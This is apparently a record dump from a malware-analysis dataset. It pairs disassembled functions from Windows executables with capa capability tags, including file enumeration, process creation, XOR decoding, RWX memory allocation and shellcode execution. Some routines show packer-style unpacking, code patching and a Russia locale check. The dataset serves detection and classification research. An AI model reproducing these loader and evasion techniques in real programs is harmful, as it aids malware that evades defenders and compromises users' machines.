joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4645a0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48f7f1
mov eax, dword fs:[0]
push eax
sub esp, 0x2c0
mov eax, dword [0x4ae498]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x264]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0x49d0c0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x2a0]
push eax
call fcn.00402d50
add esp, 0xc
mov dword [ebp - 0x2c0], eax
mov ecx, dword [ebp - 0x2c0]
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x2c4]
push edx
lea eax, [ebp - 0x2bc]
push eax
call fcn.00406720
add esp, 0xc
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x2cc], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x2cc]
call fcn.00401ed0
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x268], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2bc]
call fcn.00401e50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a0]
call fcn.00401e50
mov byte [ebp - 0xd], 0
cmp dword [ebp - 0x268], 0xffffffff
je 0x46470e
mov byte [ebp - 0xd], 1
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x284]
call fcn.00401e20
mov dword [ebp - 4], 2
push 0x49ce84
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040f1d0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4646bf
push 0x49d0c0
lea ecx, [ebp - 0x284]
call fcn.00401ea0
lea edx, [ebp - 0x238]
push edx
lea ecx, [ebp - 0x284]
call fcn.00401ea0
lea eax, [ebp - 0x284]
push eax
mov ecx, dword [ebp + 0x14]
call fcn.00451770
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x284]
call fcn.00401e50
lea ecx, [ebp - 0x264]
push ecx
mov edx, dword [ebp - 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x46467d
mov eax, dword [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046aaed
mov esp, ebp
pop ebp
ret

Function at 0x464740
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0x1003
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [ebp - 8], eax
xor ecx, ecx
mov eax, dword [ebp - 8]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0046941e
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0x1003
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
call fcn.004021d0
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.0046ac7a
add esp, 4
xor eax, eax
cmp dword [ebp - 8], 0
setne al
mov esp, ebp
pop ebp
ret
Function at 0x4647e0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48a2d1
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x4ae498]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x40], 0
push 0
push 0
push 0x1002
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [ebp - 0x34], eax
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0046941e
add esp, 4
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0x1002
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x30]
call fcn.00401de0
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
call fcn.0046a6fc
add esp, 4
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
call fcn.00401e20
mov ecx, dword [ebp - 0x40]
or ecx, 1
mov dword [ebp - 0x40], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00401e50
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046aaed
mov esp, ebp
pop ebp
ret
Function at 0x464900
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48f830
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4ae498]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.004647e0
add esp, 4
mov dword [ebp - 4], 0
push str.Russia
lea ecx, [ebp - 0x2c]
push ecx
call fcn.00402e20
add esp, 8
movzx edx, al
test edx, edx
je 0x46497b
push str.russia
mov ecx, dword [ebp + 8]
call fcn.004021d0
mov byte [ebp - 0x51], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00401e50
mov al, byte [ebp - 0x51]
jmp 0x464a56
push 2
lea eax, [ebp - 0x4c]
push eax
push 0xd
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x4649b2
mov byte [ebp - 0x52], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00401e50
mov al, byte [ebp - 0x52]
jmp 0x464a56
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x48]
call fcn.00401de0
mov byte [ebp - 4], 1
push 0x496f74
lea edx, [ebp - 0x48]
push edx
call fcn.00402e20
add esp, 8
movzx eax, al
test eax, eax
je 0x4649e9
push 0x49a314
mov ecx, dword [ebp + 8]
call fcn.004021d0
jmp 0x464a34
push 0x49a310
lea ecx, [ebp - 0x48]
push ecx
call fcn.00402e20
add esp, 8
movzx edx, al
test edx, edx
je 0x464a10
push 0x49a308
mov ecx, dword [ebp + 8]
call fcn.004021d0
jmp 0x464a34
mov byte [ebp - 0x53], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.00401e50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00401e50
mov al, byte [ebp - 0x53]
jmp 0x464a56
mov byte [ebp - 0x54], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.00401e50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00401e50
mov al, byte [ebp - 0x54]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046aaed
mov esp, ebp
pop ebp
ret
Function at 0x4661e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48fd19
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x4ae498]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x4c]
push ecx
call fcn.00427ca0
add esp, 8
mov dword [ebp - 4], 1
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x2c]
push eax
call fcn.00469140
add esp, 8
mov byte [ebp - 4], 2
push 0x49a508
mov ecx, dword [ebp + 0x10]
call fcn.00401ed0
push eax
call fcn.0046d7cb
add esp, 8
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x46628f
push 0
mov ecx, dword [ebp + 8]
call fcn.00401de0
mov ecx, dword [ebp - 0x5c]
or ecx, 1
mov dword [ebp - 0x5c], ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c]
call fcn.00401db0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x4c]
call fcn.00401db0
mov eax, dword [ebp + 8]
jmp 0x466331
lea ecx, [ebp - 0x2c]
call fcn.00401ee0
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x2c]
call fcn.00402050
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x30]
push eax
push 1
mov ecx, dword [ebp - 0x50]
push ecx
call fcn.0046ed03
add esp, 0x10
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jge 0x4662f4
push 0
mov ecx, dword [ebp + 8]
call fcn.00401de0
mov edx, dword [ebp - 0x5c]
or edx, 1
mov dword [ebp - 0x5c], edx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c]
call fcn.00401db0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x4c]
call fcn.00401db0
mov eax, dword [ebp + 8]
jmp 0x466331
mov eax, dword [ebp - 0x54]
push eax
call fcn.0046d594
add esp, 4
push 0x49a4f4
mov ecx, dword [ebp + 8]
call fcn.00401de0
mov ecx, dword [ebp - 0x5c]
or ecx, 1
mov dword [ebp - 0x5c], ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c]
call fcn.00401db0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x4c]
call fcn.00401db0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046aaed
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4669a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48fe24
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
mov eax, dword [0x4ae498]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0x10], 0
push 1
push 0
push 0
mov ecx, dword [ebp + 0xc]
call fcn.00401ed0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x20
jg 0x466ba9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x466ba9
lea eax, [ebp - 0x50]
push eax
call fcn.0042ab00
add esp, 4
mov dword [ebp - 4], 0
push str.IDS_PATH
lea ecx, [ebp - 0x6c]
call fcn.00401de0
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 0xc]
push ecx
push 0x49a490
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0xe4]
call fcn.00465350
mov ecx, eax
call fcn.0041bd40
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0xe8]
mov dword [ebp - 0xec], ecx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0xec]
push edx
push str._n__
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0xa4]
push ecx
call fcn.00402d50
add esp, 0xc
mov dword [ebp - 0xf0], eax
mov edx, dword [ebp - 0xf0]
mov dword [ebp - 0xf4], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0xf4]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.00406720
add esp, 0xc
mov dword [ebp - 0xf8], eax
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0xfc], edx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0xfc]
push eax
lea ecx, [ebp - 0xdc]
push ecx
call fcn.00402d50
add esp, 0xc
mov dword [ebp - 0x100], eax
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x104], edx
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x104]
push eax
lea ecx, [ebp - 0x34]
push ecx
call fcn.00406720
add esp, 0xc
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xdc]
call fcn.00401e50
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xc0]
call fcn.00401e50
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xa4]
call fcn.00401e50
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x88]
call fcn.00401e50
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x6c]
call fcn.00401e50
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004653c0
add esp, 0xc
mov edx, dword [ebp - 0xe0]
or edx, 1
mov dword [ebp - 0xe0], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.00401e50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00401e50
mov eax, dword [ebp + 8]
jmp 0x466bc8
push str._response__
mov ecx, dword [ebp + 8]
call fcn.00401de0
mov eax, dword [ebp - 0xe0]
or eax, 1
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.0046aaed
mov esp, ebp
pop ebp
ret 8

Function at 0x46aaed
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ae498]
jne 0x46aaf7
repz ret
jmp fcn.004733fc
Function at 0x480904
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00472de3
and dword [ebp - 4], 0
cmp dword [0x4c19d0], 0
mov ebx, eax
jne 0x4809b5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x480a66
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x49cc78
push edi
call esi
test eax, eax
je 0x480a66
push eax
call fcn.00472d71
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4c19d0], eax
call esi
push eax
call fcn.00472d71
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4c19d4], eax
call esi
push eax
call fcn.00472d71
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4c19d8], eax
call esi
push eax
call fcn.00472d71
pop ecx
mov dword [0x4c19e0], eax
test eax, eax
je 0x4809b5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00472d71
pop ecx
mov dword [0x4c19dc], eax
mov eax, dword [0x4c19dc]
cmp eax, ebx
je 0x480a0d
cmp dword [0x4c19e0], ebx
je 0x480a0d
push eax
call fcn.00472dec
push dword [0x4c19e0]
mov esi, eax
call fcn.00472dec
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x480a0d
test edi, edi
je 0x480a0d
call esi
test eax, eax
je 0x480a04
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x480a04
test byte [ebp - 0xc], 1
jne 0x480a0d
or dword [ebp + 0x10], 0x200000
jmp 0x480a46
mov eax, dword [0x4c19d4]
cmp eax, ebx
je 0x480a46
push eax
call fcn.00472dec
pop ecx
test eax, eax
je 0x480a46
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x480a46
mov eax, dword [0x4c19d8]
cmp eax, ebx
je 0x480a46
push eax
call fcn.00472dec
pop ecx
test eax, eax
je 0x480a46
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4c19d0]
call fcn.00472dec
pop ecx
test eax, eax
je 0x480a66
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x480a68
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a7e5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000a7f4
pop dword [ebp - 8]
mov eax, 0x1000a7f4
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xdd3d21cd
add dword [ebp - 0x18], 0x7115237e
mov dword [ebp - 0x14], 0xc475d851
sub dword [ebp - 0x14], 0x92428c0c
mov dword [ebp - 0x10], 0x5184990b
sub dword [ebp - 0x10], 0x53854dd
mov dword [ebp - 0xc], 0xca75cbfc
sub dword [ebp - 0xc], 0xca75cbfc
lea eax, [ebp - 0x18]
push eax
mov eax, 0x440b6848
sub eax, 0x340aa824
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x1137ed26
sub dword [ebp - 0x18], 0x9cc583d0
mov dword [ebp - 0x14], 0xde1fbf3f
sub dword [ebp - 0x14], 0x9cb35dca
mov dword [ebp - 0x10], 0xe6301336
add dword [ebp - 0x10], 0x7d3f5936
mov dword [ebp - 0xc], 0xe1674e41
sub dword [ebp - 0xc], 0xe1674e41
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3b7cc
push 0
call eax
mov ecx, 0xea3d4243
add ecx, 0x15c313eb
mov esi, eax
mov edi, 0x162f6780
sub edi, 0x62af380
add edi, dword [ebp - 8]
mov ebx, 0xef2d4b09
sub ebx, 0xcf7006a5
xor dword [ebp - 4], esi
mov edx, dword [edi]
xor dword [ebp - 4], 0x31b9970
add edx, ebx
xor dword [ebp - 4], 0x3afc1329
mov dword [esi], edx
sub dword [ebp - 4], ebx
add esi, 4
add edi, 4
loop 0x1000a90c
add eax, 0xb889edec
sub eax, 0xb888a261
mov ebx, eax
add eax, 0x40bc253f
add eax, 0xbf43dac6
mov ecx, 0x5422bfa1
sub ecx, 0x4422bfa1
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x401730
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x4acef0
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xfffffffffffffffe
push 0x5835c8
push fcn.004e1840
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x589780]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp + 0x104], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, dword [ebp + 0x110]
xor edi, edi
mov dword [ebp - 0x20], edi
call fcn.00404f57
mov dword [ebp - 4], edi
push 0x104
lea eax, [ebp]
push eax
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.0040b528
test eax, eax
je 0x4acfca
lea eax, [ebp - 0x28]
push eax
push esi
push dword [ebp - 0x2c]
call fcn.00401f1e
test eax, eax
je 0x4acfca
mov eax, dword [ebp - 0x28]
or eax, dword [ebp - 0x24]
je 0x4acfca
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 8
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4acfca
mov edi, 1
mov dword [ebp - 0x20], edi
push 8
push esi
lea eax, [ebp - 0x28]
push eax
call fcn.004094b7
test eax, eax
jne 0x4acfaa
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [esi], eax
mov dword [esi + 4], ecx
push 8
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push 8
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 4], 0xfffffffe
call fcn.004ad000
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.0040512d
lea esp, [ebp + 0x108]
pop ebp
ret 4
Function at 0x4017d5
Capabilities:
Encode data using xor

Disassembly:
jmp 0x4a1630
sub esp, 0xb0
mov eax, dword [0x589780]
xor eax, esp
mov dword [esp + 0xac], eax
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0xc0]
push esi
mov esi, dword [esp + 0xc0]
push eax
mov dword [esp + 0xc], ecx
lea eax, [esp + 0x14]
xor ecx, ecx
mov dword [esp + 0x14], 0x5c005c
push 0x50
push eax
mov dword [esp + 0x20], 0x5c002e
mov word [esp + 0x24], cx
call fcn.00404755
add esp, 0xc
lea eax, [esp + 0x10]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x4a17bc
push ebx
push ebp
push edi
push dword [esi]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [esi]
mov ebp, eax
push esi
push ebp
call fcn.00409f98
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp + 0x10], eax
lea edi, [ebp + 0x18]
mov esi, dword [ebp]
xor ebx, ebx
mov edx, edi
lea ecx, [esi - 0x18]
test ecx, ecx
jle 0x4a16fb
mov al, byte [edx]
lea edx, [edx + 1]
xor al, bl
inc ebx
xor al, byte [esp + 0x10]
mov byte [edx - 1], al
mov esi, dword [ebp]
lea eax, [esi - 0x18]
cmp ebx, eax
jl 0x4a16e2
lea eax, [ebp + 4]
push eax
lea eax, [esi - 0x18]
push eax
push edi
call fcn.0040aba0
mov ecx, dword [ebp]
add esp, 0xc
xor esi, esi
lea eax, [ecx - 0x18]
test eax, eax
jle 0x4a1757
nop dword [eax + eax]
mov eax, 0x66666667
imul esi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*4]
mov eax, esi
shl ecx, 2
sub eax, ecx
mov cl, byte [eax + ebp + 4]
mov al, cl
shl cl, 4
shr al, 4
xor al, cl
xor byte [edi + esi], al
inc esi
mov ecx, dword [ebp]
lea eax, [ecx - 0x18]
cmp esi, eax
jl 0x4a1720
mov ebx, dword [esp + 0x18]
lea eax, [esp + 0x10]
push 0
push eax
push dword [esp + 0xdc]
push dword [esp + 0x20]
push ecx
push ebp
push dword [esp + 0xe0]
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
test edi, edi
pop edi
pop ebp
pop ebx
setne al
pop esi
mov ecx, dword [esp + 0xac]
xor ecx, esp
call fcn.0040512d
add esp, 0xb0
ret
mov ecx, dword [esp + 0xb0]
xor eax, eax
pop esi
xor ecx, esp
call fcn.0040512d
add esp, 0xb0
ret
Function at 0x4028b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x4a9e20
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
mov esi, dword [0x58e4e8]
push edi
mov edi, dword [0x58e4e0]
mov dword [0x58e4e0], 0
mov dword [0x58e4e8], 0
test edi, edi
je 0x4a9e73
lea eax, [esp + 0xc]
push eax
push 0x40
push 4
push edi
call ebx
test eax, eax
je 0x4a9e73
mov eax, dword [0x58e4e4]
mov dword [edi], eax
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 4
push edi
call ebx
test esi, esi
je 0x4a9e9c
lea eax, [esp + 0xc]
push eax
push 0x40
push 4
push esi
call ebx
test eax, eax
je 0x4a9e9c
mov eax, dword [0x58e4ec]
mov dword [esi], eax
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 4
push esi
call ebx
pop edi
pop esi
mov byte [0x58e4f4], 0
pop ebx
pop ecx
ret

Function at 0x402d9c
Capabilities:
Create thread

Disassembly:
jmp 0x42c550
sub esp, 0x404
mov eax, dword [0x589780]
xor eax, esp
mov dword [esp + 0x400], eax
push ebx
mov ebx, ecx
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x42c647
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
test eax, eax
jne 0x42c5cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
push esi
push eax
push 0x21
push str.C:projectsentryprotect_submodules_build_environmentinclude_sentrybay_server.h
lea eax, [esp + 0x20]
push str._s__d_:___u__u__error_u__SB__n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x28]
push eax
call fcn.0040946c
add esp, 0x20
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push 0
push ebx
push 0x40897c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebx + 0x10], eax
test eax, eax
jne 0x42c626
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
push esi
push eax
push 0x74
push str.C:projectsentryprotect_submodules_build_environmentinclude_sentrybay_server.h
lea eax, [esp + 0x20]
push str._s__d_:___u__u__error_u__SB__n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x28]
push eax
call fcn.0040946c
add esp, 0x20
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebx + 0x10], 0
pop edi
pop esi
setne al
pop ebx
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.0040512d
add esp, 0x404
ret 4
mov ecx, dword [esp + 0x404]
xor al, al
pop ebx
xor ecx, esp
call fcn.0040512d
add esp, 0x404
ret 4